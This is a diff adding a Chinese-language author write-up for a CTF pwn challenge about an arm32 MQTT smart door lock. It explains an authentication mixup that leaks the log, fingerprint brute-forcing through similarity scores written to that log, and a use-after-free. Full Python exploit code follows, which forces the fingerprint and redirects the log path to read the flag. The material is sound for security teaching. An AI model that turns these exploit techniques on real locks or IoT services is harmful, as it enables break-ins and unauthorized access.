|
1 |
| -https://zq4mt4l88ne.feishu.cn/docx/ArMedC8xyo5sE0xTrWPc8aZVnfe?from=from_copylink |
| 1 | +https://zq4mt4l88ne.feishu.cn/docx/ArMedC8xyo5sE0xTrWPc8aZVnfe?from=from_copylink |
| 2 | + |
| 3 | +# Smart Door Lock(10 Solves) |
| 4 | + |
| 5 | +- ~~本题并不是出自于 Real-World 改编,如有雷同纯属巧合。现实中智能门锁应该也不是这么实现的,只是出自于出题人纯粹的脑洞~~ |
| 6 | +- 原来本题的目的是利用堆上的 UAF,以及指纹泄漏作为信息泄露手段,实现任意地址写,最后打 arm32 架构上的 ROP |
| 7 | +- 最后考虑到场上的实现难度,以及上次 qwb 初赛 old-fashion-apache 中全场 0 解经历,只考到了任意地址写,改读 log 的文件,并实现 flag 的读取(其实是出题人太菜了自己没时间调堆风水) |
| 8 | +- [题目源码](https://github.com/tp-ctf/TPCTF2025/tree/main/pwn-smart-door-lock) |
| 9 | + |
| 10 | +## 题目描述 |
| 11 | + |
| 12 | +- 本题模拟了一个 arm32 架构上的 mqtt 协议交互,采用了智能门锁的使用场景。为了贴近真实环境,我们使用 TLS 加密的 mqtt 协议,这种环境下默认是可以开放端口的,基于明文的 1883 端口默认只在本地监听。 |
| 13 | +- 用户使用指纹解锁登录,并在登录成功后可以对指纹进行增删改。 |
| 14 | +- 用户首先通过 auth_token 申请了一个 token,再通过这个 Token 提交一个指纹,服务器认证指纹通过后,会返回给用户一个 session_id,通过这个 session_id,就可以实现对智能门锁的各种管理操作,操作时用户向 manager 频道提交 json 表单,表单长这个样子: |
| 15 | + |
| 16 | +``` |
| 17 | +{ |
| 18 | + "session": "a1b2c3d4e5", |
| 19 | + "request": "edit_finger", |
| 20 | + "req_args": [ |
| 21 | + "11", |
| 22 | + "[1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20]", |
| 23 | + ] |
| 24 | +} |
| 25 | +``` |
| 26 | + |
| 27 | +- 其中 request 是请求的操作,req_args 是这个请求所需要的操作,解析操作直接套用 cJson 库进行。 |
| 28 | + |
| 29 | +## 漏洞点 |
| 30 | + |
| 31 | +首先 mqtt_lock 的结构如下: |
| 32 | + |
| 33 | +``` |
| 34 | +class mqtt_lock : public mosqpp::mosquittopp |
| 35 | +{ |
| 36 | + struct fingers { |
| 37 | + unsigned int finger[20]; |
| 38 | + fingers* next; |
| 39 | + unsigned int finger_id; |
| 40 | + unsigned int retry_count; |
| 41 | + }; |
| 42 | + struct lock_status { |
| 43 | + bool lock; |
| 44 | + std::string timestamp; |
| 45 | + }; |
| 46 | +
|
| 47 | + public: |
| 48 | + mqtt_lock(const char *id, const char *host, int port); |
| 49 | + ~mqtt_lock(); |
| 50 | +
|
| 51 | + void on_connect(int rc); |
| 52 | + void on_disconnect(int rc); |
| 53 | + void on_message(const struct mosquitto_message *message); |
| 54 | + void on_publish(int mid); |
| 55 | + void on_unsubscribe(int mid); |
| 56 | + void on_subscribe(int mid, int qos_count, const int *granted_qos); |
| 57 | +
|
| 58 | + private: |
| 59 | + fingers *finger_list; |
| 60 | + lock_status lock_status; |
| 61 | + FILE *logger; |
| 62 | + unsigned int max_finger_id; |
| 63 | + char log_file[32]; |
| 64 | + char* session_id; |
| 65 | + char* auth_token; |
| 66 | +
|
| 67 | + bool add_finger(char* finger_str); |
| 68 | + bool edit_finger(fingers* finger,char* finger_str); |
| 69 | + bool remove_finger(unsigned int finger_id); |
| 70 | + bool check_finger(fingers* finger,char* finger_str); |
| 71 | + bool download_log(); |
| 72 | + bool clear_log(); |
| 73 | + bool log(const char* str,...); |
| 74 | + bool lock_door(); |
| 75 | + bool unlock_door(); |
| 76 | +}; |
| 77 | +``` |
| 78 | + |
| 79 | +### log 文件泄露 |
| 80 | + |
| 81 | + |
| 82 | + |
| 83 | +很多队伍没有把这个当作漏洞,正常想要读取 log 文件需要经过认证,然而验证的模块把 auth_token 和 session_id 使用混淆了,导致只要用户申请了一个 auth_token,就可以获取对日志的查看和清空权限,可以方便的下载到日志文件。 |
| 84 | + |
| 85 | +### 指纹爆破 |
| 86 | + |
| 87 | + |
| 88 | + |
| 89 | +- 指纹相似度的计算方法是对 20 个无符号整数中的每个以小的除以大的,加 5% 的权。 |
| 90 | +- 每次指纹的数据都会将相似度写入到 log 文件中,结合上面的 log 泄露漏洞就可以提取当前尝试的指纹相似度。 |
| 91 | +- 因此可以逐位进行爆破,更巧妙的方法是解方程,假设当前指纹数据是常数 a,我们输入为 x,相似度为 y, |
| 92 | + |
| 93 | +$y= x/a (x<=a) || y= a/x (x >a)$我们测试几组数据解方程就可以了。这里我们只给出爆破的代码 |
| 94 | + |
| 95 | +### 添加指纹 UAF |
| 96 | + |
| 97 | + |
| 98 | + |
| 99 | +- add_finger 时会首先 malloc 一个新的空间存放指纹,edit 失败时会 free 掉,但是 finger_list 的指纹链表并没有清空,因此可以导致 UAF。 |
| 100 | +- 算是比较明显的一个漏洞,有符号应该一眼就看出来了,出题的时候考虑过在 edit_finger 时隐式的进行内存释放,但这会增加漏洞的触发路径,同时 edit_finger 代码会显得很奇怪。最后决定把符号去掉,纯考验对 mqtt 协议的理解和逆向能力。 |
| 101 | + |
| 102 | +## 漏洞利用 |
| 103 | + |
| 104 | +- 前期指纹爆破 |
| 105 | +- 当获取 session_id 后我们添加一个格式不符合规范的指纹,只需要用中括号[]包住,其他的随意填,就会导致 edit 失败 UAF |
| 106 | +- 测试发现 malloc 的是一个 0x60 的空间,而协议正常交互的过程中几乎不会申请到这个大小的内存,因此 tcache 列表相当的_干净_ ,我们只需要考虑怎么通过自定义的请求申请到这一片内存。 |
| 107 | +- 具体来说,控制我们 publish 的内容:topic+ payload,会在 packet__read 函数申请相应大小的内存,另外我们使用了 cJson 作为用户 json 表单的解析器,同样可以为子项分配 0x60 的空间,根据调试选择合适的堆风水方式即可。 |
| 108 | +- 修改 finger 结构体的 next 指针,指向 this->logfile 即可,this 结构体一般来说都是分配在了固定的位置 |
| 109 | + |
| 110 | +## EXP |
| 111 | + |
| 112 | +### 交互函数的设置 |
| 113 | + |
| 114 | +``` |
| 115 | +import paho.mqtt.client as mqtt |
| 116 | +import json |
| 117 | +import random |
| 118 | +import string |
| 119 | +import time |
| 120 | +import ssl |
| 121 | +from pwn import * |
| 122 | +from threading import Event |
| 123 | +correct_finger = [29,373307,1065735249,2909012772,1932386,2933,3462545,5692838,2601798933,3102258193,32207873,36167,1274411,31737324,3369724400,30220736,2479958049,5,3612650882,4088014656] |
| 124 | +class SecureLockTester: |
| 125 | + def __init__(self, |
| 126 | + host="localhost", |
| 127 | + port=8883, |
| 128 | + ca_certs="/etc/mosquitto/ca.crt", |
| 129 | + insecure=True): |
| 130 | + self.host = host |
| 131 | + self.port = port |
| 132 | + self.ca_certs = ca_certs |
| 133 | + self.insecure = insecure |
| 134 | +
|
| 135 | + self.client = mqtt.Client(protocol=mqtt.MQTTv311) |
| 136 | + self._configure_tls() |
| 137 | +
|
| 138 | + self.client.on_connect = self.on_connect |
| 139 | + self.client.on_message = self.on_message |
| 140 | +
|
| 141 | + self.auth_token = None |
| 142 | + self.session_id = None |
| 143 | + self.response_event = Event() |
| 144 | + self.last_response = None |
| 145 | + self.log_content = "" |
| 146 | + self.log_changed = False |
| 147 | +
|
| 148 | + def _configure_tls(self): |
| 149 | + self.client.tls_set( |
| 150 | + ca_certs=self.ca_certs, |
| 151 | + cert_reqs=ssl.CERT_REQUIRED, |
| 152 | + tls_version=ssl.PROTOCOL_TLSv1_2 |
| 153 | + ) |
| 154 | + if self.insecure: |
| 155 | + self.client.tls_insecure_set(True) |
| 156 | +
|
| 157 | + def on_connect(self, client, userdata, flags, rc): |
| 158 | + print(f"status code: {rc}") |
| 159 | +
|
| 160 | + def on_message(self, client, userdata, msg): |
| 161 | + topic = msg.topic |
| 162 | + payload = msg.payload.decode() |
| 163 | + if topic == "logfile": |
| 164 | + self.log_content += payload |
| 165 | + if "EOF" in payload and 'similarity' in self.log_content: |
| 166 | + self.log_changed = True |
| 167 | + self.response_event.set() |
| 168 | + elif topic == "re_"+self.auth_token: |
| 169 | + if "login successed. session_id: " in payload: |
| 170 | + self.session_id = payload.split("session_id: ")[1].strip() |
| 171 | + self.response_event.set() |
| 172 | + elif self.session_id != None and topic == self.session_id: |
| 173 | + self.last_response = payload |
| 174 | + self.response_event.set() |
| 175 | +
|
| 176 | + def wait_for_response(self, timeout=1): |
| 177 | + self.response_event.clear() |
| 178 | + received = self.response_event.wait(timeout) |
| 179 | + if not received: |
| 180 | + print("response timeout") |
| 181 | + return received |
| 182 | +
|
| 183 | + def generate_auth_token(self): |
| 184 | + token = "aaaaaaaaaaaaaaaa" |
| 185 | + self.auth_token = token |
| 186 | + self.client.subscribe("re_" + token) |
| 187 | + self.client.publish("auth_token", token) |
| 188 | + self.wait_for_response() |
| 189 | + print(f"auth_token: {token}") |
| 190 | +
|
| 191 | + def login(self,finger): |
| 192 | + buf_str = '['+ ','.join([str(num) for num in finger]) + ']' |
| 193 | + self.client.publish(self.auth_token,buf_str) |
| 194 | + if self.wait_for_response(): |
| 195 | + if self.session_id: |
| 196 | + print(f"login successed. sessionID: {self.session_id}") |
| 197 | + self.client.subscribe(self.session_id) |
| 198 | + return True |
| 199 | + return False |
| 200 | +
|
| 201 | + def lock(self): |
| 202 | + return self.send_command("lock_door") |
| 203 | + def unlock(self): |
| 204 | + return self.send_command("unlock_door") |
| 205 | + def download_log(self): |
| 206 | + self.client.publish("logger", "download") |
| 207 | + return self.wait_for_response() |
| 208 | + def clear_log(self): |
| 209 | + self.client.publish("logger", "clear") |
| 210 | + return self.wait_for_response() |
| 211 | + def add_finger(self, finger): |
| 212 | + res = self.send_command("add_finger", [finger]) |
| 213 | + if res and "new finger id:" in res: |
| 214 | + return int(res.split("new finger id:")[1].strip()) |
| 215 | + return -1 |
| 216 | + def del_finger(self, finger_id): |
| 217 | + res = self.send_command("remove_finger", [finger_id]) |
| 218 | + if res and "removed finger id:" in res: |
| 219 | + return int(res.split("removed finger id:")[1].strip()) |
| 220 | + return -1 |
| 221 | + def edit_finger(self, finger_id, new_finger): |
| 222 | + res = self.send_command("edit_finger", [finger_id, new_finger]) |
| 223 | + if res and "changed finger id:" in res: |
| 224 | + return int(res.split("changed finger id:")[1].strip()) |
| 225 | + return -1 |
| 226 | +
|
| 227 | + def send_command(self, command, args=None): |
| 228 | + if not self.session_id: |
| 229 | + raise ValueError("login first") |
| 230 | +
|
| 231 | + cmd = { |
| 232 | + "session": self.session_id, |
| 233 | + "request": command, |
| 234 | + "req_args": args or [] |
| 235 | + } |
| 236 | + json_cmd = b"{\"session\":\"" + self.session_id.encode() + b"\",\"request\":\"" + command.encode() + b"\",\"req_args\":" + b"[" |
| 237 | + if args: |
| 238 | + json_cmd += b'"' + args[0] +b'"' |
| 239 | + if len(args) > 1: |
| 240 | + json_cmd += b',' |
| 241 | + json_cmd += b'"' + args[1] +b'"' |
| 242 | + json_cmd += b']' + b"}" |
| 243 | + self.client.publish("manager", json_cmd) |
| 244 | + print(f"sent cmd: {command} {json_cmd}") |
| 245 | +
|
| 246 | + if self.wait_for_response(): |
| 247 | + return self.last_response |
| 248 | + return None |
| 249 | +
|
| 250 | + def test_secure_connection(self): |
| 251 | + try: |
| 252 | + self.client.connect(self.host, self.port, 60) |
| 253 | + self.client.loop_start() |
| 254 | + time.sleep(1) |
| 255 | + print("connected") |
| 256 | + return True |
| 257 | + except Exception as e: |
| 258 | + print(f"connection failed: {str(e)}") |
| 259 | + return False |
| 260 | +
|
| 261 | + def brute_fingerprint(self): |
| 262 | + correct = [0] * 20 |
| 263 | +
|
| 264 | + max_sim = 0 |
| 265 | + for i in range(20): |
| 266 | + cur_str = '['+ ','.join([str(num) for num in correct]) + ']' |
| 267 | + min_sim = self.brute_test_finger(cur_str) |
| 268 | + max_sim = min_sim |
| 269 | + cur = 0 |
| 270 | + for round in range(8): |
| 271 | + max_j = 0 |
| 272 | + for j in range(16): |
| 273 | + new_cur = j<<(28-4*round) | cur |
| 274 | + correct[i] = new_cur |
| 275 | + buf_str = '['+ ','.join([str(num) for num in correct]) + ']' |
| 276 | + new_sim = self.brute_test_finger(buf_str) |
| 277 | + if new_sim > max_sim: |
| 278 | + max_sim = new_sim |
| 279 | + max_j = j |
| 280 | + if max_sim - min_sim > 3.5: |
| 281 | + cur = max_j<<(28-4*round) | cur |
| 282 | + if max_sim - min_sim > 4.5: |
| 283 | + break |
| 284 | + correct[i] = cur |
| 285 | +
|
| 286 | + print(f"Position {i} found: {correct[i]}") |
| 287 | + final_buf = correct |
| 288 | + return final_buf |
| 289 | +
|
| 290 | +
|
| 291 | + def brute_test_finger(self, buf): |
| 292 | + self.clear_log() |
| 293 | + self.client.publish(self.auth_token,buf) |
| 294 | + self.wait_for_response() |
| 295 | + self.download_log() |
| 296 | + while True: |
| 297 | + if self.log_changed: |
| 298 | + self.log_changed = False |
| 299 | + break |
| 300 | + res = self.log_content.split("%")[-1].split("\n")[0] |
| 301 | + print(res, buf) |
| 302 | + self.log_content = "" |
| 303 | + return float(res) |
| 304 | +``` |
| 305 | + |
| 306 | +### 爆破指纹 |
| 307 | + |
| 308 | +``` |
| 309 | +if __name__ == "__main__": |
| 310 | + tester = SecureLockTester( |
| 311 | + host="127.0.0.1", |
| 312 | + port=8883, |
| 313 | + ca_certs="src/ca.crt", |
| 314 | + insecure=True |
| 315 | + ) |
| 316 | + try: |
| 317 | + if tester.test_secure_connection(): |
| 318 | + tester.generate_auth_token() |
| 319 | + tester.client.subscribe("logfile") |
| 320 | + sleep(1) |
| 321 | + fingerprint = tester.brute_fingerprint() |
| 322 | + print("Correct fingerprint:", fingerprint) |
| 323 | + tester.login(fingerprint) |
| 324 | +
|
| 325 | + finally: |
| 326 | + tester.client.loop_stop() |
| 327 | + tester.client.disconnect() |
| 328 | +``` |
| 329 | + |
| 330 | +### 获取 flag |
| 331 | + |
| 332 | +``` |
| 333 | +if __name__ == "__main__": |
| 334 | + tester = SecureLockTester( |
| 335 | + host="127.0.0.1", |
| 336 | + port=8883, |
| 337 | + ca_certs="src/ca.crt", |
| 338 | + insecure=True |
| 339 | + ) |
| 340 | +
|
| 341 | + try: |
| 342 | + if tester.test_secure_connection(): |
| 343 | + tester.generate_auth_token() |
| 344 | + tester.client.subscribe("logfile") |
| 345 | + tester.login(correct_finger) |
| 346 | + tester.add_finger(b"[" +b"\xff"*0x80 +b"]") |
| 347 | + tester.client.publish("auth_token", b'a'*0x44 + p32(0x35C1F0)+p32(10)) |
| 348 | + sleep(1) |
| 349 | + tester.edit_finger(b'625',b'[0,0,0,0,0,0,0,0,0,0,1634493999,103,0,0,0,0,0,0,0,0]') |
| 350 | + tester.generate_auth_token() |
| 351 | + tester.download_log() |
| 352 | + print(tester.log_content) |
| 353 | +
|
| 354 | +
|
| 355 | + finally: |
| 356 | + tester.client.loop_stop() |
| 357 | + tester.client.disconnect() |
| 358 | +``` |
0 commit comments